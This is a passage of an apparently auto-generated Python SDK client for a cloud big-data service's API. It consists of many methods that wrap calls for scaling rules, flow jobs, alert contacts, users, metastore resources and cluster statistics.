return self._handle_request(api_request).result
def delete_alert_ding_ding_groups(self, resource_owner_id=None, region_id=None, ids=None):
api_request = APIRequest('DeleteAlertDingDingGroups', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Ids": ids}
return self._handle_request(api_request).result
def delete_alert_contacts(self, resource_owner_id=None, region_id=None, ids=None):
api_request = APIRequest('DeleteAlertContacts', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Ids": ids}
return self._handle_request(api_request).result
def create_verification_code(
self,
mode=None,
resource_owner_id=None,
region_id=None,
target=None):
api_request = APIRequest('CreateVerificationCode', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Mode": mode,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Target": target}
return self._handle_request(api_request).result
def create_user_statistics(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('CreateUserStatistics', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def create_alert_user_group(
self,
user_list=None,
resource_owner_id=None,
region_id=None,
name=None,
description=None):
api_request = APIRequest('CreateAlertUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"UserList": user_list,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Description": description}
return self._handle_request(api_request).result
def create_alert_ding_ding_group(
self,
resource_owner_id=None,
region_id=None,
name=None,
description=None,
web_hook_url=None):
api_request = APIRequest('CreateAlertDingDingGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Description": description,
"WebHookUrl": web_hook_url}
return self._handle_request(api_request).result
def create_alert_contact(
self,
email_verification_code=None,
resource_owner_id=None,
region_id=None,
phone_number_verification_code=None,
name=None,
phone_number=None,
email=None):
api_request = APIRequest('CreateAlertContact', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"EmailVerificationCode": email_verification_code,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PhoneNumberVerificationCode": phone_number_verification_code,
"Name": name,
"PhoneNumber": phone_number,
"Email": email}
return self._handle_request(api_request).result
def clone_flow_job(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('CloneFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def clone_flow(self, region_id=None, id_=None, project_id=None):
api_request = APIRequest('CloneFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "Id": id_, "ProjectId": project_id}
return self._handle_request(api_request).result
def modify_scaling_task_group(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
active_rule_category=None,
cluster_id=None,
min_size=None,
max_size=None,
default_cooldown=None):
api_request = APIRequest('ModifyScalingTaskGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ActiveRuleCategory": active_rule_category,
"ClusterId": cluster_id,
"MinSize": min_size,
"MaxSize": max_size,
"DefaultCooldown": default_cooldown}
return self._handle_request(api_request).result
def modify_scaling_rule(
self,
launch_time=None,
resource_owner_id=None,
adjustment_value=None,
adjustment_type=None,
rule_name=None,
cluster_id=None,
scaling_rule_id=None,
launch_expiration_time=None,
recurrence_value=None,
recurrence_end_time=None,
list_of_cloud_watch_trigger=None,
region_id=None,
host_group_id=None,
list_of_scheduler_trigger=None,
cooldown=None,
recurrence_type=None):
api_request = APIRequest('ModifyScalingRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"LaunchTime": launch_time,
"ResourceOwnerId": resource_owner_id,
"AdjustmentValue": adjustment_value,
"AdjustmentType": adjustment_type,
"RuleName": rule_name,
"ClusterId": cluster_id,
"ScalingRuleId": scaling_rule_id,
"LaunchExpirationTime": launch_expiration_time,
"RecurrenceValue": recurrence_value,
"RecurrenceEndTime": recurrence_end_time,
"CloudWatchTrigger": list_of_cloud_watch_trigger,
"RegionId": region_id,
"HostGroupId": host_group_id,
"SchedulerTrigger": list_of_scheduler_trigger,
"Cooldown": cooldown,
"RecurrenceType": recurrence_type}
repeat_info = {"CloudWatchTrigger": ('CloudWatchTrigger',
'list',
'dict',
[('Period',
'str',
None,
None),
('EvaluationCount',
'str',
None,
None),
('Threshold',
'str',
None,
None),
('MetricName',
'str',
None,
None),
('ComparisonOperator',
'str',
None,
None),
('Statistics',
'str',
None,
None),
]),
"SchedulerTrigger": ('SchedulerTrigger',
'list',
'dict',
[('LaunchTime',
'str',
None,
None),
('LaunchExpirationTime',
'str',
None,
None),
('RecurrenceValue',
'str',
None,
None),
('RecurrenceEndTime',
'str',
None,
None),
('RecurrenceType',
'str',
None,
None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_scaling_task_group(self, resource_owner_id=None, region_id=None, cluster_id=None):
api_request = APIRequest('ListScalingTaskGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_scaling_rule(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
page_size=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListScalingRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_scaling_activity(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
page_size=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('ListScalingActivity', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow(
self,
job_id=None,
region_id=None,
periodic=None,
name=None,
page_size=None,
id_=None,
cluster_id=None,
project_id=None,
page_number=None,
status=None):
api_request = APIRequest('ListFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"JobId": job_id,
"RegionId": region_id,
"Periodic": periodic,
"Name": name,
"PageSize": page_size,
"Id": id_,
"ClusterId": cluster_id,
"ProjectId": project_id,
"PageNumber": page_number,
"Status": status}
return self._handle_request(api_request).result
def list_cluster_service_component_health_info(
self,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None):
api_request = APIRequest('ListClusterServiceComponentHealthInfo',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_scaling_task_group(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None):
api_request = APIRequest('DescribeScalingTaskGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def describe_scaling_rule(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None,
scaling_rule_id=None):
api_request = APIRequest('DescribeScalingRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id,
"ScalingRuleId": scaling_rule_id}
return self._handle_request(api_request).result
def describe_scaling_activity(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None,
scaling_activity_id=None):
api_request = APIRequest('DescribeScalingActivity', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id,
"ScalingActivityId": scaling_activity_id}
return self._handle_request(api_request).result
def delete_scaling_task_group(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None):
api_request = APIRequest('DeleteScalingTaskGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def delete_scaling_rule(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None,
scaling_rule_id=None):
api_request = APIRequest('DeleteScalingRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id,
"ScalingRuleId": scaling_rule_id}
return self._handle_request(api_request).result
def create_scaling_task_group(
self,
resource_owner_id=None,
data_disk_category=None,
cluster_id=None,
min_size=None,
spot_strategy=None,
data_disk_size=None,
list_of_spot_price_limits=None,
region_id=None,
list_of_scaling_rule=None,
active_rule_category=None,
max_size=None,
data_disk_count=None,
default_cooldown=None,
pay_type=None,
list_of_instance_type_list=None):
api_request = APIRequest('CreateScalingTaskGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DataDiskCategory": data_disk_category,
"ClusterId": cluster_id,
"MinSize": min_size,
"SpotStrategy": spot_strategy,
"DataDiskSize": data_disk_size,
"SpotPriceLimits": list_of_spot_price_limits,
"RegionId": region_id,
"ScalingRule": list_of_scaling_rule,
"ActiveRuleCategory": active_rule_category,
"MaxSize": max_size,
"DataDiskCount": data_disk_count,
"DefaultCooldown": default_cooldown,
"PayType": pay_type,
"InstanceTypeList": list_of_instance_type_list}
repeat_info = {"SpotPriceLimits": ('SpotPriceLimits', 'list', 'dict', [('InstanceType', 'str', None, None),
('PriceLimit', 'str', None, None),
]),
"ScalingRule": ('ScalingRule', 'list', 'dict', [('LaunchTime', 'str', None, None),
('RuleCategory', 'str', None, None),
('AdjustmentValue', 'str', None, None),
('SchedulerTrigger', 'list', 'dict', [('LaunchTime', 'str', None, None),
('LaunchExpirationTime', 'str', None, None),
('RecurrenceValue', 'str', None, None),
('RecurrenceEndTime', 'str', None, None),
('RecurrenceType', 'str', None, None),
],),('AdjustmentType', 'str', None, None),
('Cooldown', 'str', None, None),
('RuleName', 'str', None, None),
('LaunchExpirationTime', 'str', None, None),
('RecurrenceValue', 'str', None, None),
('RecurrenceEndTime', 'str', None, None),
('CloudWatchTrigger', 'list', 'dict', [('Period', 'str', None, None),
('EvaluationCount', 'str', None, None),
('Threshold', 'str', None, None),
('MetricName', 'str', None, None),
('ComparisonOperator', 'str', None, None),
('Statistics', 'str', None, None),
],),('RecurrenceType', 'str', None, None),
]),
"InstanceTypeList": ('InstanceTypeList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_scaling_rule(
self,
launch_time=None,
resource_owner_id=None,
rule_category=None,
adjustment_value=None,
adjustment_type=None,
rule_name=None,
cluster_id=None,
launch_expiration_time=None,
recurrence_value=None,
recurrence_end_time=None,
list_of_cloud_watch_trigger=None,
region_id=None,
host_group_id=None,
list_of_scheduler_trigger=None,
cooldown=None,
recurrence_type=None):
api_request = APIRequest('CreateScalingRule', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"LaunchTime": launch_time,
"ResourceOwnerId": resource_owner_id,
"RuleCategory": rule_category,
"AdjustmentValue": adjustment_value,
"AdjustmentType": adjustment_type,
"RuleName": rule_name,
"ClusterId": cluster_id,
"LaunchExpirationTime": launch_expiration_time,
"RecurrenceValue": recurrence_value,
"RecurrenceEndTime": recurrence_end_time,
"CloudWatchTrigger": list_of_cloud_watch_trigger,
"RegionId": region_id,
"HostGroupId": host_group_id,
"SchedulerTrigger": list_of_scheduler_trigger,
"Cooldown": cooldown,
"RecurrenceType": recurrence_type}
repeat_info = {"CloudWatchTrigger": ('CloudWatchTrigger',
'list',
'dict',
[('Period',
'str',
None,
None),
('EvaluationCount',
'str',
None,
None),
('Threshold',
'str',
None,
None),
('MetricName',
'str',
None,
None),
('ComparisonOperator',
'str',
None,
None),
('Statistics',
'str',
None,
None),
]),
"SchedulerTrigger": ('SchedulerTrigger',
'list',
'dict',
[('LaunchTime',
'str',
None,
None),
('LaunchExpirationTime',
'str',
None,
None),
('RecurrenceValue',
'str',
None,
None),
('RecurrenceEndTime',
'str',
None,
None),
('RecurrenceType',
'str',
None,
None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_flow_cluster_all_hosts(self, region_id=None, cluster_id=None, project_id=None):
api_request = APIRequest('ListFlowClusterAllHosts', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"ClusterId": cluster_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def list_emr_main_version(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
emr_version=None,
stack_name=None,
stack_version=None,
page_number=None):
api_request = APIRequest('ListEmrMainVersion', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"EmrVersion": emr_version,
"StackName": stack_name,
"StackVersion": stack_version,
"PageNumber": page_number}
return self._handle_request(api_request).result
def describe_emr_main_version(self, resource_owner_id=None, region_id=None, emr_version=None):
api_request = APIRequest('DescribeEmrMainVersion', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EmrVersion": emr_version}
return self._handle_request(api_request).result
def delete_flow_project_by_id(self, region_id=None, project_id=None):
api_request = APIRequest('DeleteFlowProjectById', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "ProjectId": project_id}
return self._handle_request(api_request).result
def operate_exists_node_cluster(
self,
resource_owner_id=None,
log_path=None,
list_of_master_instance_id_list=None,
io_optimized=None,
security_group_id=None,
eas_enable=None,
is_resize=None,
deposit_type=None,
machine_type=None,
region_id=None,
use_local_meta_db=None,
emr_ver=None,
period=None,
cluster_id=None,
vswitch_id=None,
cluster_type=None,
list_of_option_soft_ware_list=None,
list_of_instance_id_list=None,
vpc_id=None,
net_type=None,
name=None,
zone_id=None,
charge_type=None,
operate_type=None,
high_availability_enable=None):
api_request = APIRequest('OperateExistsNodeCluster', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"LogPath": log_path,
"MasterInstanceIdList": list_of_master_instance_id_list,
"IoOptimized": io_optimized,
"SecurityGroupId": security_group_id,
"EasEnable": eas_enable,
"IsResize": is_resize,
"DepositType": deposit_type,
"MachineType": machine_type,
"RegionId": region_id,
"UseLocalMetaDb": use_local_meta_db,
"EmrVer": emr_ver,
"Period": period,
"ClusterId": cluster_id,
"VSwitchId": vswitch_id,
"ClusterType": cluster_type,
"OptionSoftWareList": list_of_option_soft_ware_list,
"InstanceIdList": list_of_instance_id_list,
"VpcId": vpc_id,
"NetType": net_type,
"Name": name,
"ZoneId": zone_id,
"ChargeType": charge_type,
"OperateType": operate_type,
"HighAvailabilityEnable": high_availability_enable}
repeat_info = {"MasterInstanceIdList": ('MasterInstanceIdList', 'list', 'str', None),
"OptionSoftWareList": ('OptionSoftWareList', 'list', 'str', None),
"InstanceIdList": ('InstanceIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def metastore_modify_data_resource(
self,
resource_owner_id=None,
default=None,
region_id=None,
name=None,
description=None,
id_=None,
cluster_id=None):
api_request = APIRequest('MetastoreModifyDataResource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Default": default,
"RegionId": region_id,
"Name": name,
"Description": description,
"Id": id_,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def metastore_list_data_resources(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('MetastoreListDataResources', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def metastore_delete_data_resource(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('MetastoreDeleteDataResource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def metastore_create_data_resource(
self,
resource_owner_id=None,
default=None,
access_type=None,
region_id=None,
name=None,
description=None,
meta_type=None,
cluster_id=None):
api_request = APIRequest('MetastoreCreateDataResource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Default": default,
"AccessType": access_type,
"RegionId": region_id,
"Name": name,
"Description": description,
"MetaType": meta_type,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def list_users(self, resource_owner_id=None, region_id=None, cluster_id=None, type_=None):
api_request = APIRequest('ListUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"Type": type_}
return self._handle_request(api_request).result
def list_flow_node_sql_result(
self,
offset=None,
region_id=None,
length=None,
sql_index=None,
node_instance_id=None,
project_id=None):
api_request = APIRequest('ListFlowNodeSqlResult', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"Offset": offset,
"RegionId": region_id,
"Length": length,
"SqlIndex": sql_index,
"NodeInstanceId": node_instance_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def list_flow_job(
self,
region_id=None,
name=None,
page_size=None,
id_=None,
type_=None,
adhoc=None,
project_id=None,
page_number=None):
api_request = APIRequest('ListFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Name": name,
"PageSize": page_size,
"Id": id_,
"Type": type_,
"Adhoc": adhoc,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def list_flow_cluster_all(self, region_id=None):
api_request = APIRequest('ListFlowClusterAll', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id}
return self._handle_request(api_request).result
def list_emr_available_resource(
self,
resource_owner_id=None,
cluster_id=None,
deposit_type=None,
destination_resource=None,
cluster_type=None,
spot_strategy=None,
system_disk_type=None,
region_id=None,
net_type=None,
zone_id=None,
instance_type=None,
data_disk_type=None,
instance_charge_type=None):
api_request = APIRequest('ListEmrAvailableResource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ClusterId": cluster_id,
"DepositType": deposit_type,
"DestinationResource": destination_resource,
"ClusterType": cluster_type,
"SpotStrategy": spot_strategy,
"SystemDiskType": system_disk_type,
"RegionId": region_id,
"NetType": net_type,
"ZoneId": zone_id,
"InstanceType": instance_type,
"DataDiskType": data_disk_type,
"InstanceChargeType": instance_charge_type}
return self._handle_request(api_request).result
def list_emr_available_config(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('ListEmrAvailableConfig', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def delete_user(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None,
type_=None,
user_id=None):
api_request = APIRequest('DeleteUser', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"Type": type_,
"UserId": user_id}
return self._handle_request(api_request).result
def create_users(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None,
list_of_user_info=None):
api_request = APIRequest('CreateUsers', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"UserInfo": list_of_user_info}
repeat_info = {"UserInfo": ('UserInfo', 'list', 'dict', [('Type', 'str', None, None),
('UserId', 'str', None, None),
('UserName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_user_password(
self,
resource_owner_id=None,
password=None,
region_id=None,
cluster_id=None,
list_of_user_info=None):
api_request = APIRequest('CreateUserPassword', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Password": password,
"RegionId": region_id,
"ClusterId": cluster_id,
"UserInfo": list_of_user_info}
repeat_info = {"UserInfo": ('UserInfo', 'list', 'dict', [('Type', 'str', None, None),
('GroupName', 'str', None, None),
('UserId', 'str', None, None),
('UserName', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def create_cluster_with_template(
self,
resource_owner_id=None,
unique_tag=None,
cluster_name=None,
template_biz_id=None):
api_request = APIRequest('CreateClusterWithTemplate', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"UniqueTag": unique_tag,
"ClusterName": cluster_name,
"TemplateBizId": template_biz_id}
return self._handle_request(api_request).result
def modify_flow_for_web(
self,
cron_expr=None,
parent_flow_list=None,
alert_ding_ding_group_biz_id=None,
periodic=None,
start_schedule=None,
description=None,
cluster_id=None,
alert_user_group_biz_id=None,
graph=None,
host_name=None,
region_id=None,
create_cluster=None,
name=None,
end_schedule=None,
id_=None,
alert_conf=None,
project_id=None,
status=None,
parent_category=None):
api_request = APIRequest('ModifyFlowForWeb', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"CronExpr": cron_expr,
"ParentFlowList": parent_flow_list,
"AlertDingDingGroupBizId": alert_ding_ding_group_biz_id,
"Periodic": periodic,
"StartSchedule": start_schedule,
"Description": description,
"ClusterId": cluster_id,
"AlertUserGroupBizId": alert_user_group_biz_id,
"Graph": graph,
"HostName": host_name,
"RegionId": region_id,
"CreateCluster": create_cluster,
"Name": name,
"EndSchedule": end_schedule,
"Id": id_,
"AlertConf": alert_conf,
"ProjectId": project_id,
"Status": status,
"ParentCategory": parent_category}
return self._handle_request(api_request).result
def kill_flow_job(self, region_id=None, job_instance_id=None, project_id=None):
api_request = APIRequest('KillFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"JobInstanceId": job_instance_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def get_user_submission_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None,
application_type=None,
final_status=None):
api_request = APIRequest('GetUserSubmissionStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime,
"ApplicationType": application_type,
"FinalStatus": final_status}
return self._handle_request(api_request).result
def get_user_output_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None):
api_request = APIRequest('GetUserOutputStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime}
return self._handle_request(api_request).result
def get_user_input_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None):
api_request = APIRequest('GetUserInputStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime}
return self._handle_request(api_request).result
def get_queue_submission_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None,
application_type=None,
final_status=None):
api_request = APIRequest('GetQueueSubmissionStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime,
"ApplicationType": application_type,
"FinalStatus": final_status}
return self._handle_request(api_request).result
def get_queue_output_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None):
api_request = APIRequest('GetQueueOutputStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime}
return self._handle_request(api_request).result
def get_queue_input_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None):
api_request = APIRequest('GetQueueInputStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime}
return self._handle_request(api_request).result
def get_job_running_time_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
to_datetime=None,
page_number=None):
api_request = APIRequest('GetJobRunningTimeStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"ToDatetime": to_datetime,
"PageNumber": page_number}
return self._handle_request(api_request).result
def get_job_output_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
to_datetime=None,
page_number=None):
api_request = APIRequest('GetJobOutputStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"ToDatetime": to_datetime,
"PageNumber": page_number}
return self._handle_request(api_request).result
def get_job_input_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
page_size=None,
cluster_id=None,
to_datetime=None,
page_number=None):
api_request = APIRequest('GetJobInputStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"ToDatetime": to_datetime,
"PageNumber": page_number}
return self._handle_request(api_request).result
def get_hdfs_capacity_statistic_info(
self,
from_datetime=None,
resource_owner_id=None,
region_id=None,
cluster_id=None,
to_datetime=None):
api_request = APIRequest('GetHdfsCapacityStatisticInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FromDatetime": from_datetime,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"ToDatetime": to_datetime}
return self._handle_request(api_request).result
def create_flow_for_web(
self,
cron_expr=None,
parent_flow_list=None,
alert_ding_ding_group_biz_id=None,
start_schedule=None,
description=None,
cluster_id=None,
alert_user_group_biz_id=None,
graph=None,
host_name=None,
region_id=None,
create_cluster=None,
name=None,
end_schedule=None,
alert_conf=None,
project_id=None,
parent_category=None):
api_request = APIRequest('CreateFlowForWeb', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"CronExpr": cron_expr,
"ParentFlowList": parent_flow_list,
"AlertDingDingGroupBizId": alert_ding_ding_group_biz_id,
"StartSchedule": start_schedule,
"Description": description,
"ClusterId": cluster_id,
"AlertUserGroupBizId": alert_user_group_biz_id,
"Graph": graph,
"HostName": host_name,
"RegionId": region_id,
"CreateCluster": create_cluster,
"Name": name,
"EndSchedule": end_schedule,
"AlertConf": alert_conf,
"ProjectId": project_id,
"ParentCategory": parent_category}
return self._handle_request(api_request).result
def describe_available_instance_type(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None):
api_request = APIRequest('DescribeAvailableInstanceType', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def suspend_flow(self, flow_instance_id=None, region_id=None, project_id=None):
api_request = APIRequest('SuspendFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FlowInstanceId": flow_instance_id,
"RegionId": region_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def submit_flow_job(
self,
job_id=None,
host_name=None,
region_id=None,
conf=None,
cluster_id=None,
project_id=None):
api_request = APIRequest('SubmitFlowJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"JobId": job_id,
"HostName": host_name,
"RegionId": region_id,
"Conf": conf,
"ClusterId": cluster_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def submit_flow(self, region_id=None, conf=None, project_id=None, flow_id=None):
api_request = APIRequest('SubmitFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"RegionId": region_id,
"Conf": conf,
"ProjectId": project_id,
"FlowId": flow_id}
return self._handle_request(api_request).result
def resume_flow(self, flow_instance_id=None, region_id=None, project_id=None):
api_request = APIRequest('ResumeFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FlowInstanceId": flow_instance_id,
"RegionId": region_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def rerun_flow(self, flow_instance_id=None, region_id=None, project_id=None, re_run_fail=None):
api_request = APIRequest('RerunFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FlowInstanceId": flow_instance_id,
"RegionId": region_id,
"ProjectId": project_id,
"ReRunFail": re_run_fail}
return self._handle_request(api_request).result
def modify_flow_project_cluster_setting(
self,
list_of_user_list=None,
list_of_queue_list=None,
region_id=None,
list_of_host_list=None,
cluster_id=None,
default_queue=None,
project_id=None,
default_user=None):
api_request = APIRequest('ModifyFlowProjectClusterSetting', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"UserList": list_of_user_list,
"QueueList": list_of_queue_list,
